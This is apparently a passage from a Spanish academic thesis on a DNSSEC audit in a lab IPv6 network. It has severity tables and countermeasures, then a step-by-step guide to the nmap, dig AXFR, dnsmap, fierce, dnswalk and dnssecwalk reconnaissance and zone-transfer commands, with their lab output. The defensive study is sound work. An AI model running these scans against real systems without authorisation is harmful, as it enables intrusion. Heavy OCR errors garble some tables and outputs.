DNSSEC no proporcioné sus funciones de seguridad (autenticacién del origen,
y autenticacion e integridad de los datos de DNS), aplicando la Fase 3:
Evaluacion de vulnerabilidades de la metodologia planteada, basandose en el
estandar de Sistema de puntuacién de vulnerabilidad comin CVSS v3.0 de La
organizaciéon FIRST (Forum of Incident Response and Security Teams).

Por otra parte, el contenido de este reporte de auditoria se divide en dos reportes,
uno ejecutivo y otro técnico. El reporte ejecutivo tiene como objetivo dar
conocer de manera resumida los resultados obtenidos de las PoC, con su
respectivo andlisis, conclusiones y recomendaciones. El reporte técnico, como su
nombre lo indica contiene aspectos técnicos acerca de las PoC que se realizaron
sobre el escenario real de pruebas controlado. En esta seccién se procede a
documentar todos los hallazgos de las PoC realizadas, los cuales van a contener
una descripcién escrita, las herramientas utilizadas, la topologia de red y el
ambiente real de prueba, las caracteristicas de los equipos involucrados por
prueba, capturas de pantalla como evidencia y algunas recomendaciones para
tener en cuenta. Este ultimo reporte va dirigido a la Dependencia de Sistemas de

las Organizaciones y se encuentra en el Anexo No.3.
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CLASIFICACION DE SEVERIDAD, CON LAS POC EXITOSAS EN EL ESCENARIO REAL DE PRUEBAS
CONTROLADO DNSSEC EN REDES DE INFORMACION IPV6

SISTEMA EJECUCION ESTADO DE LA CADENA N° PoC

PRUEBA SEVERIDAD

OPERATIVO DE LA PRUEBA DE CONFIANZA DNSSEC exitosas

Encontrar hosts activos

en el segmento de red 1 BAJA

(?entosIDebiz-fn Firmada Enf:o_ntrar Ss._Os, 1 MEDIA
Windows-Debian Red Interna Serviciosy versiones
Windows-Centos

Identificar Relaciones de
Direcciones IPv6 con Servidores, 4 MEDIA
Dominios y Subdominios

Total de pruebas 6

Tabla 5.59 Clasificacion de severidad, con las pruebas exitosas de la actividad de recoleccién de informacion

SISTEMA EJECUCION DE ESTADO DE LA CADENA N° PoC

OPERATIVO LAPRUEBA  DE CONFIANZA DNSSEC PRUEBA exiTosAas SEVERIDAD
Red Interna 2 BAJA
Centos Firmada Transferencia de Zona
Red Externa 4 BAJA

Enumeracion de Dominios

Centos/Debian por Consultas Incorrectas 2 BAJA

Windows-Debian Red Interna Firmada
Windows-Centos Denegacionde Servicio (DoS) _

Total de pruebas 10

Tabla 5.60 Clasificacion de severidad asociada con las pruebas exitosas de la actividad de identificacion y vulnerabilidades
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CLASIFICACION DE SEVERIDAD, CON LAS POC EXITOSAS EN EL ESCENARIO REAL DE PRUEBAS
CONTROLADO DNSSEC EN REDES DE INFORMACION IPV6

SISTEMA EJE%LIIECION E?:L?)%?]R%IEA ESTADO DEL N° PoC
OPERATIVO DOMINIO AU g [BB3UE R
LA PRUEBA CONFIANZA DNSSEC
Debian/Centos F-inF F-ext/ \NF / NF-l | DNS Spoofing
Firmada F-Int § F-Ext
Windows-Centos .
Windows-Debian DNS Spoofing
Red Interna NF-
Centos/Debian F-nt /NF / NF
Windows-Debian Rota DNS Spoofing
Windows-Centos F-Ext
Debian Red Externa Firmada F-Ext | NF- DNS Spoofing

Tabla 5.61 Clasificacion de severidad asociada con las pruebas exitosas de DNS Spoofing
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A continuacién se presenta el analisis de la clasificacion de severidad asociada
con las pruebas exitosas de recoleccion de informacion e identificacion y
explotacion de vulnerabilidades en el escenario real de pruebas controlado
DNSSEC en redes de informacion IPV6:

Pruebas de recoleccion de informacion

En la Tabla 5.55, se puede apreciar que las pruebas de recoleccion de informacion
realizadas en el escenario real de pruebas controlado DNSSEC, se obtuvo una
severidad asociada de baja cuando se determinaron los hosts activos en el
segmento de red, y media cuando se encontraron los sistemas operativos,
servicios y versiones e ldentificaron las relaciones IPv6 servidores - nombre de
dominio, dominios y subdominios de los servidores autoritarios de la red interna
como externa, trayendo como consecuencia una pérdida en la confidencialidad

de la informacion de la organizacion.

Pruebas de identificacion y explotacion de vulnerabilidades

e Pruebas de transferencia de zona 'y enumeracion de dominio
En la tabla 5.56, se observa que al realizar las pruebas de transferencia de
zona sobre el escenario real de pruebas controlado, cuando se configurd
DNSSEC sobre el sistema operativo Centos, se obtuvo una severidad asociada
de Baja, debido a que hubo una pérdida en la confidencialidad de la

informacion al extraer los archivos de zona de un servidor autoritario DNSSEC.

Por otra parte, se observa que al aplicar las pruebas de enumeracion de
dominios por consultas incorrectas, se obtuvo una severidad asociada de Baja
cuando se configur6 DNSSEC con el registro de recurso NSEC en los
servidores autoritarios de los dominios .com y bancodk.com, debido a que esta
configuracion permitié obtener los subdominios de los servidores autoritarios a

partir de consultas incorrectas.

De lo anteriormente expuesto, se concluye que DNSSEC no proporciona
mecanismos de seguridad para proteger contra PoC de transferencias de zona,

debido a que NO esta disefiado para garantizar la confidencialidad en el
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transporte de los datos DNS de una zona hacia otro servidor, y tampoco
garantiza la confidencialidad de los datos DNS de una zona cuando esta
configurado con el registro de recurso NSEC, ya que por su funcionamiento
posibilita obtener informacién de zonas (enumeracion) solicitando registros

inexistentes.

Se recomienda como contramedida asegurar la transferencia de zona entre
servidores de nombres mediante la configuracién de Listas de Control de
Acceso a través del software de BIND y el uso de caracteristicas provistas por
el protocolo Transaction Signatures (TSIG). Ademas de implementar DNSSEC
con el registro de negacion autenticada de existencia NSEC3, para evitar PoC

de enumeracion de dominio por consultas incorrectas.

Pruebas de Denegacion de Servicio:

En la Tabla 5.56, se observa que al aplicar las pruebas de denegacién de
servicio, desde la red interna, cuando la cadena de confianza DNSSEC esta
firmada, se presenté una pérdida total de la disponibilidad del servicio
DNSSEC, por lo cual la severidad de la vulnerabilidad asociada fue Alta.

Esto se debe, a que DNSSEC no posee un mecanismo de defensa contra PoC
DoS, sino que es mas propenso a este tipo de PoC, debido a que su
funcionamiento incrementa significativamente la longitud de los paquetes y las

operaciones criptograficas que se realizan en estos.

Se recomienda como solucién ante una PoC de denegacién de servicio, la
instalacién de un proxy inverso el cual apunte a varios servidores de nuestra
red que tienen copias exactas de los servicios que se quiere ofrecer,
balanceando el nUmero de peticiones que un servidor recibe entre otros con las
mismas funcionalidades y asi no saturar el servicio. También se puede evitar
variando la frecuencia del protocolo de Mensajes de Control de Internet (ICMP,
Internet Control Message Protocol) para filtrar las conexiones, limitando la
velocidad de la red. De esta forma se evita tanto emitir como recibir un ataque
DosS. [30],[31]
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Pruebas de DNS Spoofing, cuando la cadena de confianza DNSSEC esta

firmada:

En la Tabla 5.56, se observa que para las pruebas de DNS Spoofing realizadas
en el escenario de pruebas controlado, cuando la cadena de confianza
DNSSEC esta firmada, se presentd una severidad asociada de Alta cuando el
servidor caché validador se configur6 en un sistema Windows (red interna)
donde fue vulnerable al envenenamiento de caché cuando se consultdo por
dominios inexistentes, a diferencia de cuando se configuré en un sistema Linux
Debian donde la severidad asociada fue Media, debido a que en este caso el

servidor caché no se envenend.

Sin embargo, en los dos escenarios cuando se consulté por dominios firmados,
se presentd una severidad asociada de Media, debido a que el proceso de
validacion fue realizado unicamente por el servidor caché, el cual NO entrego a
tiempo la respuesta validada de la consulta de un cliente por un dominio
(externo o interno) firmado con DNSSEC, lo cual conllevé a que el cliente
fuera vulnerable debido a que recibid primero la respuesta suplantada del
servidor DNS autoritario de los dominios que consultd, respuesta que contiene

la direccién IPv6 del atacante.

De modo que, en ninguno de los dos casos DNSSEC no garantizé la
autenticacion del origen, y autenticacion e integridad de los datos de
DNS. En ese sentido, se recomienda para los dos casos anteriores, que el

proceso de validacion DNSSEC sea realizado por el cliente.

Pruebas de DNS Spoofing exitosas, cuando la cadena de confianza
DNSSEC esta Rota:

En la Tabla 5.56, se observa que para las pruebas de DNS Spoofing realizadas
en el escenario de pruebas controlado, cuando la cadena de confianza
DNSSEC se encontraba rota, se presentd una severidad asociada de Alta,
cuando se suplantd con éxito la respuesta del servidor DNS autoritario del

dominio firmado www.comunicate.com, por la direccion IPv6 del atacante, en
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los casos en que el MITM se realizd entre (Cache-Gateway y Cliente-
Gateway), a pesar de que el cliente como el Servidor Cache con soporte de
validacion DNSSEC tuvieran almacenada la clave de confianza del servidor
raiz, tomaron los datos que recibieron de la respuesta como inseguros y por lo
tanto no validaron la respuesta, es decir que no hubo autenticacion del
servidor autoritario, ni autenticacion e integridad de los datos de DNS de
la respuesta. Esto se presentd debido a que la cadena de confianza estaba

rota, lo cual indicaba que no habia una delegacién segura.

De lo mencionado anteriormente, se recomienda que tanto el cliente como el
servidor cache que realicen el proceso de validacion DNSSEC, tengan
almacenada la clave publica o el registro DS como ancla de confianza del
dominio firmado, del cual quieran garantizar autenticacion del origen e
integridad de los datos DNS, a pesar de que no exista una delegacion segura

dentro de la cadena.

Pruebas de DNS Spoofing, cuando la cadena de confianza DNSSEC esta
firmaday la PoC se realiza desde la red externa BACA y BEBE:

En la Tabla 5.56, se observa que para las pruebas de DNS Spoofing realizadas
en el escenario de pruebas controlado desde la red externa, cuando la cadena
de confianza DNSSEC se encontraba firmada, se presentdé una severidad
asociada de Alta, debido a que se suplantd la respuesta del servidor DNS
autoritario del dominio consultado, por la direccion IPv6 del atacante, de este
modo el cliente al no realizar el proceso de validacion DNSSEC, se ve

directamente vulnerable a recibir la respuesta falsa del atacante.

Como contramedida para las PoC de DNS Spoofing realizadas desde la red
externa, se sugiere que el cliente realice el proceso de validacion DNSSEC y
se recomienda que la organizacion implemente politicas de seguridad donde
se configuren listas de control de acceso en los routers y firewalls, para evitar

gue ingrese el trafico malicioso a la red interna de la organizacion.
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5.4.2 Conclusiones de la Fase 4: Reporte de Auditoria

Con base en la clasificacion de severidad, con las PoC de DNS Spoofing, se
determinan los peores escenarios en que DNSSEC NO proporciona sus
funciones de seguridad: autenticacion del origen, y autenticacion e
integridad de los datos de DNS.

e Cuando la cadena de confianza esta firmada, el peor escenario presenta
una clasificacion de severidad Media, cuando el proceso de validacion
DNSSEC es realizado unicamente por el Servidor Caché o cuando se
consulta por un dominio NO firmado, debido que bajo este escenario, el
cliente que no realiza el proceso de validacion es vulnerable a la
suplantacion de dominio al aceptar la respuesta falsa del atacante.

e Cuando la cadena de confianza esta rota, el peor escenario presenta una
clasificacion de severidad Alta, cuando se consulta por un dominio
firmado y el cliente como el servidor cache que realicen el proceso de
validacion DNSSEC no tienen almacenada el ancla de confianza del
dominio, de modo que no se puede realizar la validacion de la respuesta.

Con base en las PoC NO exitosas de DNS Spoofing, se determinan los
mejores escenarios en que DNSSEC PROPORCIONA sus funciones de
seguridad: autenticacion del origen, y autenticacion e integridad de los datos
de DNS.

e Cuando la cadena de confianza estd firmada, el mejor escenario se
presenta cuando el Cliente como el Servidor Caché con soporte de
validacion DNSSEC, tienen almacenada el ancla de confianza del
servidor Raiz y/o del dominio interno de la organizacion, de esta manera
son capaces de validar las respuestas DNS y evitan la suplantacion de
identidad de un dominio y el envenenamiento de la memoria caché.

e Cuando la cadena de confianza esta rota, el mejor escenario se presenta
cuando el Cliente como el Servidor Caché con soporte de validacion
DNSSEC, tienen almacenada el ancla de confianza de un dominio
firmado con DNSSEC.
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CAPITULO 6

GUIA TECNICA DE LA FASE 2 “PENETRACION” DE LA
METODOLOGIA ADAPTADA

Para cada una de las actividades de la Fase de penetracion, se provee un
conjunto de herramientas con las cuales se puede llevar a cabo las tareas.
Ademas de acompafar cada herramienta de una descripcion sobre la misma vy
una guia de como puede ser usada.

6.1 RECOPILACION DE INFORMACION

6.1.1 Descubrir host activos en un segmento de red.

Una de las actividades que se debe desarrollar dentro de la recoleccion de
informacion es determinar que hosts o direcciones se encuentran activas dentro
de un segmento de red.

Herramientas: alive6

Descripcion

Con esta herramienta se puede encontrar las direcciones IPv6 activas en un
segmento de red. Obteniendo el nimero total de hosts activos en el segmento de
red y las direcciones de IPv6 activas.

Sintaxis: alive6 <interface atacante>

Ejemplo: alive6 ethO

:~# alived etho

Resultado:

:~# aliveb6 ethe
2001:12:7000::cafe:1 [ICMP echo-replyl]
2001:12:7000: :cafe:5 [ICMP echo-reply]
2001:12:7000: :cafe:12 [ICMP parameter problem]
2001:12:7000::cafe:4 [ICMP echo-reply]
2001:12:7000: :cafe:2 [ICMP echo-reply]
2001:12:7000::cafe:3 [ICMP echo-replyl]

Scanned 1 address and found 6 systems alive

Figura 6.1 Descubrir host activos con alive6
Link: https://tools.kali.org/information-gathering/thc-ipv6
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Herramientas: nmap

Descripcion

Con la herramienta nmap, se busca determinar los hosts activos dentro de un
segmento de red, al utilizar este comando se podr& obtener las IPv6 de los hosts
activos en lared. Ademas de la direcciébn MAC, los puertos abiertos y los servicios
gue ofrecen cada uno de ellos

Sintaxis: nmap -6 <red/prefijo de red>

Ejemplo: Nmap -6 2001:12:7000::cafe:0/112
:~# Nmap -6 2001:12:7000::cafe:0/112

Resultado:
Se realiza la prueba en la red interna CAFE, para buscar los hosts activos. Se
obtiene las IPv6 activas, los puertos abiertos, los servicios y las direcciones MAC.

:~# nmap -6 2001:12:7000::cafe:0/112

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-25 11:14 EDT
Nmap scan report for 2001:12:7000::cafe;l

Host is up (0.00092s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

111/tcp open rpcbind

179/tcp open bgp

2601/tcp open zebra

2605/tcp open bgpd
MAC Addrecce- FA-AD-A2-DR-F2-CF (Nhell)

Nmap scan report for 2001:12:7000::cafe:2

Host is up (0.0011ls latency).

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 08:00:27:89:BC:C5 (Oracle VirtualBox virtual NIC)

Figura 6.2 Descubrir host activos con nmap
Link: https://tools.kali.org/information-gathering/nmap

6.1.2 Encontrar sistemas operativos, servicios y versiones

Identificado que hosts o direcciones se encuentran activas en la red, se busca
determinar cuéles de estos son de interés, cuales son sus servicios, versiones y
sistemas operativos que los soportan.

Herramientas: nmap
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Descripcion

Es una de las herramientas mas completas para el escaneo, se busca determinar
los puertos abiertos, los servicios y versiones de los mismos, ademas del sistema
operativo del host.

Sintaxis: nmap -6 —-A —O -sV <ip-target>

Ejemplo: nmap -6 —A -O —sV 2001:12:7000::cafe:3
:~# nmap -6 —A -0 —sV

Resultado:

Se ejecuta la prueba sobre la IPv6 2001:12:7000::cafe:3, para determinar los
puertos abiertos, los servicios y sus versiones, ademas de determinar el sistema
operativo.

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:3

Starting Nmap 7.60 ( https://nmap.org ) at 2018-86-23 13:16 EDT
Nmap scan report for 2001:12:7600::cafe:3

Host is up (0.0012s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

53/tcp open domain ISC BIND 9.10.3-P4-Debian

| dns-nsid:

| bind.version: 9.10.3-P4-Debian

MAC Address: 08:00:27:4E:57:DD (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux kernel:4
0S details: Linux 3.13 - 4.1

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 1.18 ms 2001:12:7000::cafe:3

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds

Figura 6.3. Descubrir Sistemas Operativos, servicios y versiones con Nmap
Link: https://tools.kali.org/information-gathering/nmap

6.1.3 Identificar relaciones IP servidores-nombre de dominio, ldentificar
dominios y subdominios.

Una vez identificado los hosts que prestan el servicio de DNS, se busca
determinar dominios asociados a servidores DNS disponibles. Ademas de

recolectar registros DNS disponibles de los mismos.
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Herramientas: dig

Descripcion

Partiendo de que solo se conozca la IPv6 del servidor DNS, se utiliza la
herramienta dig para realizar consultas inversas a los servidores DNS para
determinar si esta asociada la IPv6 a un nombre de dominio.

Sintaxis: dig —x <ip-target>

Ejemplo: dig -x 2001:12:7000::cafe:3
~# dig -x 2001:12:7000::cafe:

Resultado:
Se realiza una consulta inversa para la direccion IPv6 2001:12:7000::café:3, se
encuentra que esté relacionada al dominio transacciones.bancodk.com.

(~# dig -x 2001:12:7000::cafe:3

; <<>> Di6 9.11.2-5-Debian <<>> -x 2001:12:7000::cafe:3

i+ global options: +cmd

;1 Got answer:

i+ ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49229

;+ flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

i+ OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4696

++ QUESTION SECTION:
;3.0.0.0.e.7f.2.¢.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.6.0.2.1ip6.arpa. IN PTR

i+ ANSWER SECTION:
3.0.0.0.e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. 604335 IN PTR transacciones.b

ncodk.com.

i+ AUTHORITY SECTION:
e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.1ip6.arpa. 604335 IN NS dnsl.bancodk.com.

i+ ADDITIONAL SECTION:
dns1.bancodk.com. 604335 IN AAAA 2001:12:7000: :cafe:2

;+ Query time: 2 msec
3 SERVER: 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5)
;3 WHEN: Tue Jun 26 21:54:46 EDT 2018

; MSG SIZE rcvd: 187

Figura 6.4 Consulta inversa con dig para relacionar IP a nombre de dominio.
Link: http://eltallerdelbit.com/dig-linux

Herramientas: dnsdict6

Se utiliza principalmente para enumerar las entradas DNS IPv6 de un dominio o
subdominio. Es util para la busqueda de subdominios que pueden ser invisibles
para el publico, pero todavia existe en los registros de DNS.
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Descripcion

Se utiliza para enumerar las entradas DNS IPv6 de un dominio o subdominio.
Obteniendo como resultado algunas de las entradas del dominio como:
www.bancodk.com. => 2001:12:7000::CAFE:6

Sintaxis: dnsdict6 <dominio-target>

Ejemplo: dnsdict6 bancodk.com

:~# dnsdicté bancodk.com

Resultados: Se busca los subdominios del dominio bancodk.com

:~# dnsdict6 bancodk.com
Starting DNS enumeration work on bancodk.com.
Starting enumerating bancodk.com. - creating 8 threads for 1420 words. ..
Estimated time to completion: 1 to 2 minutes
dnsl.bancodk.com. => 2001:12:7000::cafe:2
www.bancodk.com. => 2001:12:7000: :cafe:6

Found 2 domain names and 2 unique ipvé addresss for bancodk.com.

Figura 6.5 Enumerar entradas DNS ipv6 de un dominio o subdominio con dnsdict6
Link: http://kalilinux.foroactivo.com/t5-tutorial-como-enumerar dominios-con-

dnsdict6-en-kali-linux

Herramientas: dig

Descripcion

Se utiliza la herramienta dig para ver la trazabilidad de como se resuelve una
consulta, para determinar que servidores Autoritarios intervienen en la solucién de
la consulta y establecer una relacion direccion IPv6 — servidor Autoritativo de
dominio.

Sintaxis; dig AAAA <dominio> +trace

Ejemplo: dig AAAA bancodk.com +trace
:~# dig AAAA bancodk.com +trace

Resultado:
Se realiza un trazado al dominio bancodk.com, encontrando los servidores

Autoritarios del dominio raiz y com, con sus respectivas IPv6.
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:~# dig AAAA bancodk.com +trace

; <<>> Di6 9.11.2-5-Debian <<>> AAAA bancodk,com +trace
;: alobal options: +cmd

603670 1IN NS f.root-servers.net
. 604788 1IN RRSIG NS 7 0 864000 20180705212442 20180605212442 38150 ., pDGbfajG04qnDmpJAuveQCm3jWCg77
1kwINBaFQUY4fI6bZEZASTMNEL L/+6DdSe2dtzwfsdF1xksw4H1COb1KxIx6SF8FtQhEuaS7oFBkdCGCoP CSq/vf7nGu+IKUVZbGYhsmvqRadqdggfnNK4DEXMOVWSIE
tvowVCGW40 JUE=
;+ Received 217 bytes from 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5) in @ ms

conm. 8064000 IN NS a.gtld-servers.net.com.
com. 864000 1IN DS 8280 7 1 AAbB3A10461F2334969E0DDICBB64908B7EBLSTF

com, 8646000 IN DS 8280 7 2 37270C3B982C4B04129C7898703082E735E1C1355D6384D57B758982 5D9BA19E

com. 864000 IN RRSIG DS 7 1 864000 20180705212442 20180605212442 38150 . BCeqIxxrTeoFGBORXxdVKQfMH/SgS+Q
Bu6XVURODYV7fkP/28iMSFIbQI 76RQONWK]/63LY1VenIwrvgdjcsE7gY7CNUaHWDBaregfADIr1BluzG3 2wW3isfchDkEPak/9GrsePgl400YuioD/ /M4F+AR13FVEVY,
OEDzwtqweA YpE=

;+ Received 344 bytes from 2001:500:2f::f:bebe:2#53(f.root-servers.net) in 3 ms

bancodk. com. 864000 IN NS dns1.bancodk. com.

bancodk.com. 804000 IN DS 19230 7 2 487685E8C/28B1EDF549F7FFBD4F4BDAFEGAEE642FBIDEBB76617C15 6BB18154
bancodk. com. 864000 IN DS 19230 7 1 €95971D67A9B52F9D3BEA121AE4CD6003B24495A

bancodk. com. 864000 IN RRSIG DS 7 2 864000 20180705204755 20180605204755 24782 com. ZSYEOWRT+c5Urxpxy91KDUE/HIX
STDxIhK@10ttDqaKdvz28XCLgNIme oVBWFvIoR2m43tq515eQD1HXRWbWIQD1wS00pItdVLBYRfULQL/kt6t2 XCGaf5ZKFUNG4EGBbYB34mHTBM7aPrhgYOKKEUtNT92
jy8XPBOKG2WVB Lig=

++ Received 334 bytes from 2001:503:3f::beca:2#53(a.gtld-servers.net.com) in 67 ms

864000 IN AAAA 2001:12:7000: : cafe:2

bancodk. com. 804000 IN RRSIG  AAAA 7 2 864000 20180709214556 20180609214556 14579 bancodk.com. KxQ+BG24lswYFzcoG
p311iuoRsJ0Duz081Cmh5uKmVKkKHbs+V17/4q9Q fzZ4nki+mAWIjdLqzfIAtqhDAILzdoudz0VzixCv2Wec+pMgNSDMRIXB aqZKYcfVX6KVNZbHp7Pfur6abCDCGNKnf
of1kriWC7RO+T2iKB5CRw+fk /QU=
bancodk. com. 864000 IN NS dns1.bancodk. com
bancodk. com, 864000 IN RRSIG NS 7 2 864000 20180709214556 20180609214556 14579 bancodk.com. cZOwY0gBbSMS1fKWUGj
Ktt90HTvzd+3Bpg3q2EGopp3gKUbHP/OMCZ nyGFUD7WTQXAkwj5TX7IvIVcBfFDtEXmheOKFCUIK87FzcUAD3bkqk2S TW7FfOzabeLFm61HUBFcsII6bT/pt30TKwL
SNxGSKZ4BzVq9RGVxNR7v ifo=

; Received 628 bytes from 2001:12:7000::cafe:2#53(dns1.bancodk.com) in 2 ms

Figura 6.6 Traza de servidores autoritarios relacionados a un dominio, con dig +trace
Link: https://ns1.com/blog/using-dig-trace

Herramientas: dnsmap

Destinado principalmente a ser utilizada por los pentesters durante la Fase de
recopilacion, entre sus funciones esta la enumeracion de subdominios.
Descripcién

Se utiliza para enumeracién los subdominios de un dominio. Obteniendo la
relacion subdominio direccion IPV6. Se puede utilizar un diccionario de posibles
subdominios, para asegurar obtener la mayoria de subdominios.

Sintaxis: dnsmap <dominio-target> <opciones>

Ejemplo: dnsmap bancodk.com —w diccionario.txt
(-w opcidn para utilizar un diccionario para encontrar subdominios por fuerza bruta)

:~# dnsmap bancodk.com —w diccionario.

Resultados:
Se busca los subdominios del dominio bancodk.com utilizando un diccionario.

158


https://ns1.com/blog/using-dig-trace

:~# dnsmap bancodk.com -w diccionario.txt
dnsmap ©.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for bancodk.com using diccionario.txt
[+] using maximum random delay of 10 millisecond(s) between requests

transacciones.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:3

clientes.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:9

www . bancodk. com
IPv6 address #1: 2001:12:7000::cafe:6

dnsl.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:2

[+] 4 (sub)domains and 4 IP address(es) found
[+] completion time: © second(s)

Figura 6.7. Enumeracion de subdominios con dnsmap.
Link: https://tools.kali.org/information-gathering/dnsmap

6.2 IDENTIFICACION Y EXPLOTACION DE VULNERABILIDADES

6.2.1 Transferencia de zona.

La transferencia de zona es un proceso por el cual se copia el archivo de zona de
un servidor DNS Autoritario. Ante configuraciones inseguras el DNS Autoritario
permite el volcado de todos los registro del servidor DNS a quien los solicite. En
esta actividad se realizan principalmente dos tareas, en primer lugar se determina
si se permite la transferencia de zona por medio del comando dig y en segundo
lugar se realiza una transferencia de zona.

Herramientas: dig

Descripcién

Se puede utilizar la herramienta dig, para verificar si un servidor Autoritario de un
dominio, permite realizar transferencia de zona. En este caso si se permite la
transferencia de zona se obtendra el archivo de zona del servidor Autoritario en
caso contrario aparecerd REFUSED

Sintaxis: dig AAAA <dominio-target> @<ip-target> AXFR

Ejemplo: dig AAAA bancodk.com @2001:12:7000::cafe:2 AXFR
:~# dig AAAA bancodk.com @2001:12:7000::cafe:2 AXFR
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Resultado:
Se solicita al servidor Autoritario del dominio raiz la transferencia de zona, si se

“ "

permite la transferencia de zona se obtiene los registros del dominio “.

:~# dig AAAA @2001:500:2f::f:bebe:2 . AXRF +multiline +onesoa

; <<>> DiG 9.11.2-5-Debian <<>> AAAA @2001:500:2f::f:bebe:2 . AXRF +multiline +onesoa
; (1 server found)

;3 global options: +cmd

;; Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65292

;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;3 WARNING: recursion requested but not available

;3 OPT PSEUDOSECTION:
; EDNS: version: O, flags:; udp: 4096
;3 QUESTION SECTION:

IN AAAA

; ; ANSWER SECTION:
864000 IN AAAA 2001:500:2f::f:bebe:2

;3 AUTHORITY SECTION:
864000 IN NS f.root-servers.net.

; ADDITIONAL SECTION:
f.root-servers.net. 864000 IN AAAA 2001:500:2f::f:bebe:2

Figura 6.8 Transferencia de zona con dig
Link: http://systemadmin.es/2008/12/como-solicitar-una-transferencia-de-
zona-mediante-dig

Herramientas: fierce

Descripcion

Se utiliza la herramienta Fierce, para realizar una transferencia de zona de un
servidor Autoritativo, a partir del nombre del dominio.

Sintaxis: fierce -dns [dominio] —OPCIONES

Ejemplo: fierce —dns transacciones.bancodk.com

:~# fierce —dns transacciones.bancodk.com

Resultados:

Se solicita la transferencia de zona del dominio transacciones.bancodk.com.
Herramientas: dnswalk

Descripcién

Dnswalk es otra de las herramientas que se pude utilizar para realiza
transferencias de zona.

Sintaxis: dnswalk [ opciones ] dominio
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:/# fierce -dns transacciones.bancodk.com
DNS Servers for transacciones.bancodk.com:
dnsl.transacciones.bancodk.com

Trying zone transfer first...
Testing dnsl.transacciones.bancodk.com

Whoah, it worked - misconfigured DNS server found:
transacciones.bancodk. com. 864000 1IN SOA ( dnsl.transacciones.bancodk.com.
admin.transacciones.
2018041701 ;serial
86400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
transacciones.bancodk.com. 864000 1IN NS dnsl.transacciones.bancodk.com.
transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:33
dnsl.transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:33
www.transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:8

There isn't much point continuing, you have everything.
Have a nice day.
Exiting...

Figura 6.9 Transferencia de zona con fierce
Link: https://tools.kali.org/information-gathering/fierce

Ejemplo: Dnswalk comunicate.com.
-~# dnswalk comunicate.com.

Resultados:

Se ejecuta la prueba sobre el dominio dnswalk para realizar transferencia de zona
de dominios especificos, se obtiene solo informacion de NS del dominio, el SOA 'y
del administrador.

:/# dnswalk comunicate.com.
Checking comunicate.com.
BAD: comunicate.com. has only one authoritative nameserver
Getting zone transfer of comunicate.com. from dnsl.comunicate.com...done

S0A=dns1.comunicate.com contact=admin.dnsl.

WARN: SOA contact name (admin.dnsl.) is invalid

BAD: comunicate.com NS dnsl.comunicate.com: unknown host
0 failures, 1 warnings, 2 errors.

Figura 6.10 Transferencia de zona con dnswalk
Link: https://tools.kali.org/information-gathering/dnswalk
http://kalilinux.foroactivo.com/t10-tutorial-dnswalk-para-kali-linux

Herramientas: dnssecwalk

161


https://tools.kali.org/information-gathering/fierce
https://tools.kali.org/information-gathering/dnswalk
http://kalilinux.foroactivo.com/t10-tutorial-dnswalk-para-kali-linux

Descripcion

Se utiliza la herramienta para realiza transferencias de zona cuando se tiene
desplegado DNSSEC NSEC, es analoga a dnswalk. No soporta NSEC3
Sintaxis: dnssecwalk <opciones> <ip-servidor> dominio

Ejemplo: dnssecwalk —e6 2001:503:3f::beca:32 com.

:~# dnssecwalk —e6 2001:5083:3T::b

Resultados:
Se ejecuta la prueba sobre el dominio com. para realizar transferencia de zona de
dominios especificos,

:~# dnssecwalk -e6 2001:503:3f::beca:32 com.
Starting DNSSEC walking on server 2001:583:3f::beca:32 about com. (UDP)
Found: bancodk.com. => 2001:12:7000::cafe:32

Found: comunicate.com.

Found: a.gtld-servers.net.com. => 2001:503:3f::beca:32
Found: networks.com. => 2800:3f0:4005:403::baca:34
Done, 4 entries found.

Figura 6.11 Transferencia de zona con dnsswalk
Link: https://tools.kali.org/information-gathering/dnswalk

6.2.2 Enumeracién de dominios por consultas incorrectas

Se realiza un PoC sobre la seguridad proporcionada por DNSSEC cuando se
implementa, para determinar si se ha desplegado con NSEC o NSEC3. Debido a
que en DNSSEC con NSEC se puede llegar a una enumeracion de dominios a
través de realizar consultas incorrectas.

Herramientas: dig

Descripcion

Se utiliza la herramienta dig para realizar consultas aleatorias a los servidores
DNS Autoritativos de determinados dominios, para determinar si con consultas
incorrectas el servidor responde con informacion de mas que se pueda utilizar
para realizar una enumeracion de dominios.

Sintaxis: dig AAAA x.<dominio>
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Ejemplo: dig AAAA a.com

:~# dig AAAA a.com

Resultados:

Se realiza una consulta por el dominio a.com cuando se desplego DNSSEC NSEC
en el escenario, para determinar si al preguntar por un dominio incorrecto se
obtiene informacién sobre dominios existentes bancodk.com.

:~# dig AAAA a.com +dnssec

; <<>> DiG 9.11.2-5-Debian <<>> AAAA a.com +dnssec

;; global options: +cmd

;; Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 13584

